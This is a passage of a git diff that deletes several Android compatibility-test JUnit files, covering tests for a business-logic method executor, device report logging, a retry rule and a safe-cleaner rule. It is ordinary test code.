-    @Test(expected = RuntimeException.class)
-    public void testResolveMisspelledVersionString() throws Exception {
-        ApiLevelUtil.resolveVersionString("GINGERBEARD");
-    }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
deleted file mode 100644
index 9f3ca47..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
+++ /dev/null
@@ -1,314 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package com.android.compatibility.common.util;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertNull;
-import static junit.framework.Assert.assertTrue;
-import static junit.framework.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-
-import org.junit.AssumptionViolatedException;
-import org.junit.Before;
-import org.junit.Ignore;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-import junit.framework.AssertionFailedError;
-
-/**
- * Tests for {@line BusinessLogicDeviceExecutor}.
- */
-@RunWith(AndroidJUnit4.class)
-public class BusinessLogicDeviceExecutorTest {
-
-    private static final String THIS_CLASS =
-            "com.android.compatibility.common.util.BusinessLogicDeviceExecutorTest";
-    private static final String METHOD_1 = THIS_CLASS + ".method1";
-    private static final String METHOD_2 = THIS_CLASS + ".method2";
-    private static final String METHOD_3 = THIS_CLASS + ".method3";
-    private static final String METHOD_4 = THIS_CLASS + ".method4";
-    private static final String METHOD_5 = THIS_CLASS + ".method5";
-    private static final String METHOD_6 = THIS_CLASS + ".method6";
-    private static final String METHOD_7 = THIS_CLASS + ".method7";
-    private static final String METHOD_8 = THIS_CLASS + ".method8";
-    private static final String METHOD_9 = THIS_CLASS + ".method9";
-    private static final String METHOD_10 = THIS_CLASS + ".method10";
-    private static final String FAKE_METHOD = THIS_CLASS + ".methodDoesntExist";
-    private static final String ARG_STRING_1 = "arg1";
-    private static final String ARG_STRING_2 = "arg2";
-
-    private static final String OTHER_METHOD_1 = THIS_CLASS + "$OtherClass.method1";
-
-    private String mInvoked = null;
-    private Object[] mArgsUsed = null;
-    private Context mContext;
-    private BusinessLogicExecutor mExecutor;
-
-    @Before
-    public void setUp() {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mExecutor = new BusinessLogicDeviceExecutor(mContext, this);
-        // reset the instance variables tracking the method invoked and the args used
-        mInvoked = null;
-        mArgsUsed = null;
-        // reset the OtherClass class variable tracking the method invoked
-        OtherClass.otherInvoked = null;
-    }
-
-    @Test
-    public void testInvokeMethodInThisClass() throws Exception {
-        mExecutor.invokeMethod(METHOD_1);
-        // assert that mInvoked was set for this BusinessLogicDeviceExecutorTest instance
-        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
-    }
-
-    @Test
-    public void testInvokeMethodInOtherClass() throws Exception {
-        mExecutor.invokeMethod(OTHER_METHOD_1);
-        // assert that OtherClass.method1 was invoked, and static field of OtherClass was changed
-        assertEquals("Failed to invoke method in other class", OtherClass.otherInvoked,
-                OTHER_METHOD_1);
-    }
-
-    @Test
-    public void testInvokeMethodWithStringArgs() throws Exception {
-        mExecutor.invokeMethod(METHOD_2, ARG_STRING_1, ARG_STRING_2);
-        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
-        // assert both String arguments were correctly set for method2
-        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
-        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
-    }
-
-    @Test
-    public void testInvokeMethodWithStringAndContextArgs() throws Exception {
-        mExecutor.invokeMethod(METHOD_3, ARG_STRING_1);
-        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_3);
-        // assert that String arg and Context arg were correctly set for method3
-        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
-        assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
-    }
-
-    @Test
-    public void testInvokeMethodWithContextAndStringArgs() throws Exception {
-        mExecutor.invokeMethod(METHOD_4, ARG_STRING_1);
-        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_4);
-        // Like testInvokeMethodWithStringAndContextArgs, but flip the args for method4
-        assertEquals("Failed to set first argument", mArgsUsed[0], mContext);
-        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_1);
-    }
-
-    @Test
-    public void testInvokeMethodWithStringArrayArg() throws Exception {
-        mExecutor.invokeMethod(METHOD_5, ARG_STRING_1, ARG_STRING_2);
-        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
-        // assert both String arguments were correctly set for method5
-        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
-        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
-    }
-
-    @Test
-    public void testInvokeMethodWithEmptyStringArrayArg() throws Exception {
-        mExecutor.invokeMethod(METHOD_5);
-        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
-        // assert no String arguments were set for method5
-        assertEquals("Incorrectly set args", mArgsUsed.length, 0);
-    }
-
-    @Test
-    public void testInvokeMethodWithStringAndStringArrayArgs() throws Exception {
-        mExecutor.invokeMethod(METHOD_6, ARG_STRING_1, ARG_STRING_2);
-        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_6);
-        // assert both String arguments were correctly set for method6
-        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
-        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
-    }
-
-    @Test
-    public void testInvokeMethodWithAllArgTypes() throws Exception {
-        mExecutor.invokeMethod(METHOD_7, ARG_STRING_1, ARG_STRING_2);
-        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_7);
-        // assert all arguments were correctly set for method7
-        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
-        assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
-        assertEquals("Failed to set third argument", mArgsUsed[2], ARG_STRING_2);
-    }
-
-    @Test
-    public void testInvokeOverloadedMethodOneArg() throws Exception {
-        mExecutor.invokeMethod(METHOD_1, ARG_STRING_1);
-        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
-        assertEquals("Set wrong number of arguments", mArgsUsed.length, 1);
-        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
-    }
-
-    @Test
-    public void testInvokeOverloadedMethodTwoArgs() throws Exception {
-        mExecutor.invokeMethod(METHOD_1, ARG_STRING_1, ARG_STRING_2);
-        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
-        assertEquals("Set wrong number of arguments", mArgsUsed.length, 2);
-        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
-        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
-    }
-
-    @Test(expected = RuntimeException.class)
-    public void testInvokeNonExistentMethod() throws Exception {
-        mExecutor.invokeMethod(FAKE_METHOD, ARG_STRING_1, ARG_STRING_2);
-    }
-
-    @Test(expected = RuntimeException.class)
-    public void testInvokeMethodTooManyArgs() throws Exception {
-        mExecutor.invokeMethod(METHOD_3, ARG_STRING_1, ARG_STRING_2);
-    }
-
-    @Test(expected = RuntimeException.class)
-    public void testInvokeMethodTooFewArgs() throws Exception {
-        mExecutor.invokeMethod(METHOD_2, ARG_STRING_1);
-    }
-
-    @Test(expected = RuntimeException.class)
-    public void testInvokeMethodIncompatibleArgs() throws Exception {
-        mExecutor.invokeMethod(METHOD_8, ARG_STRING_1);
-    }
-
-    @Test
-    public void testExecuteConditionCheckReturnValue() throws Exception {
-        assertTrue("Wrong return value",
-                mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_1));
-        assertFalse("Wrong return value",
-                mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_2));
-    }
-
-    @Test(expected = RuntimeException.class)
-    public void testExecuteInvalidCondition() throws Exception {
-        mExecutor.executeCondition(METHOD_1); // method1 does not return type boolean
-    }
-
-    @Test
-    public void testExecuteAction() throws Exception {
-        mExecutor.executeAction(METHOD_2, ARG_STRING_1, ARG_STRING_2);
-        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
-        // assert both String arguments were correctly set for method2
-        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
-        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
-    }
-
-    @Test(expected = RuntimeException.class)
-    public void testExecuteActionThrowException() throws Exception {
-        mExecutor.executeAction(METHOD_9);
-    }
-
-    @Test
-    public void testExecuteActionViolateAssumption() throws Exception {
-        try {
-            mExecutor.executeAction(METHOD_10);
-            // JUnit4 doesn't support expecting AssumptionViolatedException with "expected"
-            // attribute on @Test annotation, so test using Assert.fail()
-            fail("Expected assumption failure");
-        } catch (AssumptionViolatedException e) {
-            // expected
-        }
-    }
-
-    public void method1() {
-        mInvoked = METHOD_1;
-    }
-
-    // overloaded method with one arg
-    public void method1(String arg1) {
-        mInvoked = METHOD_1;
-        mArgsUsed = new Object[]{arg1};
-    }
-
-    // overloaded method with two args
-    public void method1(String arg1, String arg2) {
-        mInvoked = METHOD_1;
-        mArgsUsed = new Object[]{arg1, arg2};
-    }
-
-    public boolean method2(String arg1, String arg2) {
-        mInvoked = METHOD_2;
-        mArgsUsed = new Object[]{arg1, arg2};
-        return arg1.equals(arg2);
-    }
-
-    public void method3(String arg1, Context arg2) {
-        mInvoked = METHOD_3;
-        mArgsUsed = new Object[]{arg1, arg2};
-    }
-
-    // Same as method3, but flipped args
-    public void method4(Context arg1, String arg2) {
-        mInvoked = METHOD_4;
-        mArgsUsed = new Object[]{arg1, arg2};
-    }
-
-    public void method5(String... args) {
-        mInvoked = METHOD_5;
-        mArgsUsed = args;
-    }
-
-    public void method6(String arg1, String... moreArgs) {
-        mInvoked = METHOD_6;
-        List<String> allArgs = new ArrayList<>();
-        allArgs.add(arg1);
-        allArgs.addAll(Arrays.asList(moreArgs));
-        mArgsUsed = allArgs.toArray(new String[0]);
-    }
-
-    public void method7(String arg1, Context arg2, String... moreArgs) {
-        mInvoked = METHOD_7;
-        List<Object> allArgs = new ArrayList<>();
-        allArgs.add(arg1);
-        allArgs.add(arg2);
-        allArgs.addAll(Arrays.asList(moreArgs));
-        mArgsUsed = allArgs.toArray(new Object[0]);
-    }
-
-    public void method8(String arg1, Integer arg2) {
-        // This method should never be successfully invoked, since Integer parameter types are
-        // unsupported for the BusinessLogic service
-    }
-
-    // throw AssertionFailedError
-    @Ignore
-    public void method9() throws AssertionFailedError {
-        assertTrue(false);
-    }
-
-    // throw AssumptionViolatedException
-    public void method10() throws AssumptionViolatedException {
-        assumeTrue(false);
-    }
-
-    public static class OtherClass {
-
-        public static String otherInvoked = null;
-
-        public void method1() {
-            otherInvoked = OTHER_METHOD_1;
-        }
-    }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
deleted file mode 100644
index ad4acbb..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package com.android.compatibility.common.util;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertTrue;
-
-import android.support.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * Tests for {@line BusinessLogicTestCase}.
- */
-@RunWith(AndroidJUnit4.class)
-public class BusinessLogicTestCaseTest {
-
-    private static final String KEY_1 = "key1";
-    private static final String KEY_2 = "key2";
-    private static final String VALUE_1 = "value1";
-    private static final String VALUE_2 = "value2";
-
-    DummyTest mDummyTest;
-    DummyTest mOtherDummyTest;
-
-    @Before
-    public void setUp() {
-        mDummyTest = new DummyTest();
-        mOtherDummyTest = new DummyTest();
-    }
-
-    @Test
-    public void testMapPut() throws Exception {
-        mDummyTest.mapPut("instanceMap", KEY_1, VALUE_1);
-        assertTrue("mapPut failed for instanceMap", mDummyTest.instanceMap.containsKey(KEY_1));
-        assertEquals("mapPut failed for instanceMap", mDummyTest.instanceMap.get(KEY_1), VALUE_1);
-        assertTrue("mapPut affected wrong instance", mOtherDummyTest.instanceMap.isEmpty());
-    }
-
-    @Test
-    public void testStaticMapPut() throws Exception {
-        mDummyTest.mapPut("staticMap", KEY_2, VALUE_2);
-        assertTrue("mapPut failed for staticMap", mDummyTest.staticMap.containsKey(KEY_2));
-        assertEquals("mapPut failed for staticMap", mDummyTest.staticMap.get(KEY_2), VALUE_2);
-        assertTrue("mapPut on static map should affect all instances",
-                mOtherDummyTest.staticMap.containsKey(KEY_2));
-    }
-
-    public static class DummyTest extends BusinessLogicTestCase {
-        public Map<String, String> instanceMap = new HashMap<>();
-        public static Map<String, String> staticMap = new HashMap<>();
-    }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/DeviceReportTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/DeviceReportTest.java
deleted file mode 100644
index ab42b32..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/DeviceReportTest.java
+++ /dev/null
@@ -1,154 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package com.android.compatibility.common.util;
-
-import android.app.Instrumentation;
-import android.os.Bundle;
-import android.os.Environment;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileReader;
-import java.lang.StringBuilder;
-
-import junit.framework.TestCase;
-
-import org.json.JSONObject;
-
-/**
- * Tests for {@line DeviceReportLog}.
- */
-public class DeviceReportTest extends TestCase {
-
-    /**
-     * A stub of {@link Instrumentation}
-     */
-    public class TestInstrumentation extends Instrumentation {
-
-        private int mResultCode = -1;
-        private Bundle mResults = null;
-
-        @Override
-        public void sendStatus(int resultCode, Bundle results) {
-            mResultCode = resultCode;
-            mResults = results;
-        }
-    }
-
-    private static final int RESULT_CODE = 2;
-    private static final String RESULT_KEY = "COMPATIBILITY_TEST_RESULT";
-    private static final String TEST_MESSAGE_1 = "Foo";
-    private static final double TEST_VALUE_1 = 3;
-    private static final ResultType TEST_TYPE_1 = ResultType.HIGHER_BETTER;
-    private static final ResultUnit TEST_UNIT_1 = ResultUnit.SCORE;
-    private static final String TEST_MESSAGE_2 = "Bar";
-    private static final double TEST_VALUE_2 = 5;
-    private static final ResultType TEST_TYPE_2 = ResultType.LOWER_BETTER;
-    private static final ResultUnit TEST_UNIT_2 = ResultUnit.COUNT;
-    private static final String TEST_MESSAGE_3 = "Sample";
-    private static final double TEST_VALUE_3 = 7;
-    private static final ResultType TEST_TYPE_3 = ResultType.LOWER_BETTER;
-    private static final ResultUnit TEST_UNIT_3 = ResultUnit.COUNT;
-    private static final String TEST_MESSAGE_4 = "Message";
-    private static final double TEST_VALUE_4 = 9;
-    private static final ResultType TEST_TYPE_4 = ResultType.LOWER_BETTER;
-    private static final ResultUnit TEST_UNIT_4 = ResultUnit.COUNT;
-    private static final String REPORT_NAME_1 = "TestReport1";
-    private static final String REPORT_NAME_2 = "TestReport2";
-    private static final String STREAM_NAME_1 = "SampleStream1";
-    private static final String STREAM_NAME_2 = "SampleStream2";
-    private static final String STREAM_NAME_3 = "SampleStream3";
-    private static final String STREAM_NAME_4 = "SampleStream4";
-
-    public void testSubmit() throws Exception {
-        DeviceReportLog log = new DeviceReportLog(REPORT_NAME_1, STREAM_NAME_1);
-        log.addValue(TEST_MESSAGE_1, TEST_VALUE_1, TEST_TYPE_1, TEST_UNIT_1);
-        log.setSummary(TEST_MESSAGE_2, TEST_VALUE_2, TEST_TYPE_2, TEST_UNIT_2);
-        TestInstrumentation inst = new TestInstrumentation();
-        log.submit(inst);
-        assertEquals("Incorrect result code", RESULT_CODE, inst.mResultCode);
-        assertNotNull("Bundle missing", inst.mResults);
-        String metrics = inst.mResults.getString(RESULT_KEY);
-        assertNotNull("Metrics missing", metrics);
-        ReportLog result = ReportLog.parse(metrics);
-        assertNotNull("Metrics could not be decoded", result);
-    }
-
-    public void testFile() throws Exception {
-        assertTrue("External storage is not mounted",
-                Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED));
-        final File dir = new File(Environment.getExternalStorageDirectory(), "report-log-files");
-        assertTrue("Report Log directory missing", dir.isDirectory() || dir.mkdirs());
-
-        // Remove files from earlier possible runs.
-        File[] files = dir.listFiles();
-        for (File file : files) {
-            file.delete();
-        }
-
-        TestInstrumentation inst = new TestInstrumentation();
-
-        DeviceReportLog log1 = new DeviceReportLog(REPORT_NAME_1, STREAM_NAME_1);
-        log1.addValue(TEST_MESSAGE_1, TEST_VALUE_1, TEST_TYPE_1, TEST_UNIT_1);
-        log1.setSummary(TEST_MESSAGE_1, TEST_VALUE_1, TEST_TYPE_1, TEST_UNIT_1);
-        log1.submit(inst);
-
-        DeviceReportLog log2 = new DeviceReportLog(REPORT_NAME_1, STREAM_NAME_2);
-        log2.addValue(TEST_MESSAGE_2, TEST_VALUE_2, TEST_TYPE_2, TEST_UNIT_2);
-        log2.setSummary(TEST_MESSAGE_2, TEST_VALUE_2, TEST_TYPE_2, TEST_UNIT_2);
-        log2.submit(inst);
-
-        DeviceReportLog log3 = new DeviceReportLog(REPORT_NAME_2, STREAM_NAME_3);
-        log3.addValue(TEST_MESSAGE_3, TEST_VALUE_3, TEST_TYPE_3, TEST_UNIT_3);
-        log3.setSummary(TEST_MESSAGE_3, TEST_VALUE_3, TEST_TYPE_3, TEST_UNIT_3);
-        log3.submit(inst);
-
-        DeviceReportLog log4 = new DeviceReportLog(REPORT_NAME_2, STREAM_NAME_4);
-        log4.addValue(TEST_MESSAGE_4, TEST_VALUE_4, TEST_TYPE_4, TEST_UNIT_4);
-        log4.setSummary(TEST_MESSAGE_4, TEST_VALUE_4, TEST_TYPE_4, TEST_UNIT_4);
-        log4.submit(inst);
-
-        File jsonFile1 = new File(dir, REPORT_NAME_1 + ".reportlog.json");
-        File jsonFile2 = new File(dir, REPORT_NAME_2 + ".reportlog.json");
-        assertTrue("Report Log missing", jsonFile1.exists());
-        assertTrue("Report Log missing", jsonFile2.exists());
-
-        BufferedReader jsonReader = new BufferedReader(new FileReader(jsonFile1));
-        StringBuilder metricsBuilder = new StringBuilder();
-        String line;
-        while ((line = jsonReader.readLine()) != null) {
-            metricsBuilder.append(line);
-        }
-        String metrics = metricsBuilder.toString().trim();
-        JSONObject jsonObject = new JSONObject(metrics);
-        assertTrue("Incorrect metrics",
-                jsonObject.getJSONObject(STREAM_NAME_1).getDouble(TEST_MESSAGE_1) == TEST_VALUE_1);
-        assertTrue("Incorrect metrics",
-                jsonObject.getJSONObject(STREAM_NAME_2).getDouble(TEST_MESSAGE_2) == TEST_VALUE_2);
-
-        jsonReader = new BufferedReader(new FileReader(jsonFile2));
-        metricsBuilder = new StringBuilder();
-        while ((line = jsonReader.readLine()) != null) {
-            metricsBuilder.append(line);
-        }
-        metrics = metricsBuilder.toString().trim();
-        jsonObject = new JSONObject(metrics);
-        assertTrue("Incorrect metrics",
-                jsonObject.getJSONObject(STREAM_NAME_3).getDouble(TEST_MESSAGE_3) == TEST_VALUE_3);
-        assertTrue("Incorrect metrics",
-                jsonObject.getJSONObject(STREAM_NAME_4).getDouble(TEST_MESSAGE_4) == TEST_VALUE_4);
-    }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/RetryRuleTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/RetryRuleTest.java
deleted file mode 100644
index 644d95f..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/RetryRuleTest.java
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.doThrow;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-import static org.testng.Assert.assertThrows;
-import static org.testng.Assert.expectThrows;
-
-import org.junit.Test;
-import org.junit.runner.Description;
-import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-public class RetryRuleTest {
-
-    private final Description mDescription = Description.createSuiteDescription("Whatever");
-
-    private static final RetryableException sRetryableException =
-            new RetryableException("Y U NO RETRY?");
-
-    private static class RetryableStatement<T extends Exception> extends Statement {
-        private final int mNumberFailures;
-        private int mNumberCalls;
-        private final T mException;
-
-        RetryableStatement(int numberFailures, T exception) {
-            mNumberFailures = numberFailures;
-            mException = exception;
-        }
-
-        @Override
-        public void evaluate() throws Throwable {
-            mNumberCalls++;
-            if (mNumberCalls <= mNumberFailures) {
-                throw mException;
-            }
-        }
-
-        @Override
-        public String toString() {
-            return "RetryableStatement: failures=" + mNumberFailures + ", calls=" + mNumberCalls;
-        }
-    }
-
-    private @Mock Statement mMockStatement;
-
-    @Test
-    public void testInvalidConstructor() throws Throwable {
-        assertThrows(IllegalArgumentException.class, () -> new RetryRule(-1));
-    }
-
-    @Test
-    public void testPassOnRetryableException() throws Throwable {
-        final RetryRule rule = new RetryRule(1);
-        rule.apply(new RetryableStatement<RetryableException>(1, sRetryableException), mDescription)
-                .evaluate();
-    }
-
-    @Test
-    public void testPassOnRetryableExceptionWithTimeout() throws Throwable {
-        final Timeout timeout = new Timeout("YOUR TIME IS GONE", 1, 2, 10);
-        final RetryableException exception = new RetryableException(timeout, "Y U NO?");
-
-        final RetryRule rule = new RetryRule(1);
-        rule.apply(new RetryableStatement<RetryableException>(1, exception), mDescription)
-                .evaluate();
-
-        // Assert timeout was increased
-        assertThat(timeout.ms()).isEqualTo(2);
-    }
-
-    @Test
-    public void testFailOnRetryableException() throws Throwable {
-        final RetryRule rule = new RetryRule(1);
-
-        final RetryableException actualException = expectThrows(RetryableException.class,
-                () -> rule.apply(new RetryableStatement<RetryableException>(2, sRetryableException),
-                        mDescription).evaluate());
-
-        assertThat(actualException).isSameAs(sRetryableException);
-    }
-
-    @Test
-    public void testPassWhenDisabledAndStatementPass() throws Throwable {
-        final RetryRule rule = new RetryRule(0);
-
-        rule.apply(mMockStatement, mDescription).evaluate();
-
-        verify(mMockStatement, times(1)).evaluate();
-    }
-
-    @Test
-    public void testFailWhenDisabledAndStatementThrowsRetryableException() throws Throwable {
-        final RetryableException exception = new RetryableException("Y U NO?");
-        final RetryRule rule = new RetryRule(0);
-        doThrow(exception).when(mMockStatement).evaluate();
-
-        final RetryableException actualException = expectThrows(RetryableException.class,
-                () -> rule.apply(mMockStatement, mDescription).evaluate());
-
-        assertThat(actualException).isSameAs(exception);
-        verify(mMockStatement, times(1)).evaluate();
-    }
-
-    @Test
-    public void testFailWhenDisabledAndStatementThrowsNonRetryableException() throws Throwable {
-        final RuntimeException exception = new RuntimeException("Y U NO?");
-        final RetryRule rule = new RetryRule(0);
-        doThrow(exception).when(mMockStatement).evaluate();
-
-        final RuntimeException actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mMockStatement, mDescription).evaluate());
-
-        assertThat(actualException).isSameAs(exception);
-        verify(mMockStatement, times(1)).evaluate();
-    }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
deleted file mode 100644
index a56d7b2..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
+++ /dev/null
@@ -1,299 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.verify;
-import static org.testng.Assert.expectThrows;
-
-import com.android.compatibility.common.util.SafeCleanerRule.Dumper;
-
-import com.google.common.collect.ImmutableList;
-
-import org.junit.AssumptionViolatedException;
-import org.junit.Test;
-import org.junit.runner.Description;
-import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-import java.util.List;
-import java.util.concurrent.Callable;
-
-@RunWith(MockitoJUnitRunner.class)
-public class SafeCleanerRuleTest {
-
-    private static class FailureStatement extends Statement {
-        private final Throwable mThrowable;
-
-        FailureStatement(Throwable t) {
-            mThrowable = t;
-        }
-
-        @Override
-        public void evaluate() throws Throwable {
-            throw mThrowable;
-        }
-    }
-
-    private final Description mDescription = Description.createSuiteDescription("Whatever");
-    private final RuntimeException mRuntimeException = new RuntimeException("D'OH!");
-
-    @Mock private Dumper mDumper;
-
-    // Use mocks for objects that don't throw any exception.
-    @Mock private ThrowingRunnable mGoodGuyRunner1;
-    @Mock private ThrowingRunnable mGoodGuyRunner2;
-    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions1;
-    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions2;
-    @Mock private Statement mGoodGuyStatement;
-
-    @Test
-    public void testEmptyRule_testPass() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule();
-        rule.apply(mGoodGuyStatement, mDescription).evaluate();
-    }
-
-    @Test
-    public void testEmptyRule_testFails() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule();
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-    }
-
-    @Test
-    public void testEmptyRule_testFails_withDumper() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule().setDumper(mDumper);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mDumper).dump("Whatever", actualException);
-    }
-
-    @Test
-    public void testOnlyTestFails() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .add(mGoodGuyExtraExceptions1);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testOnlyTestFails_withDumper() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .setDumper(mDumper)
-                .run(mGoodGuyRunner1)
-                .add(mGoodGuyExtraExceptions1);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyExtraExceptions1).call();
-        verify(mDumper).dump("Whatever", actualException);
-    }
-
-    @Test
-    public void testTestPass_oneRunnerFails() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .run(() -> { throw mRuntimeException; })
-                .run(mGoodGuyRunner2)
-                .add(mGoodGuyExtraExceptions1);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
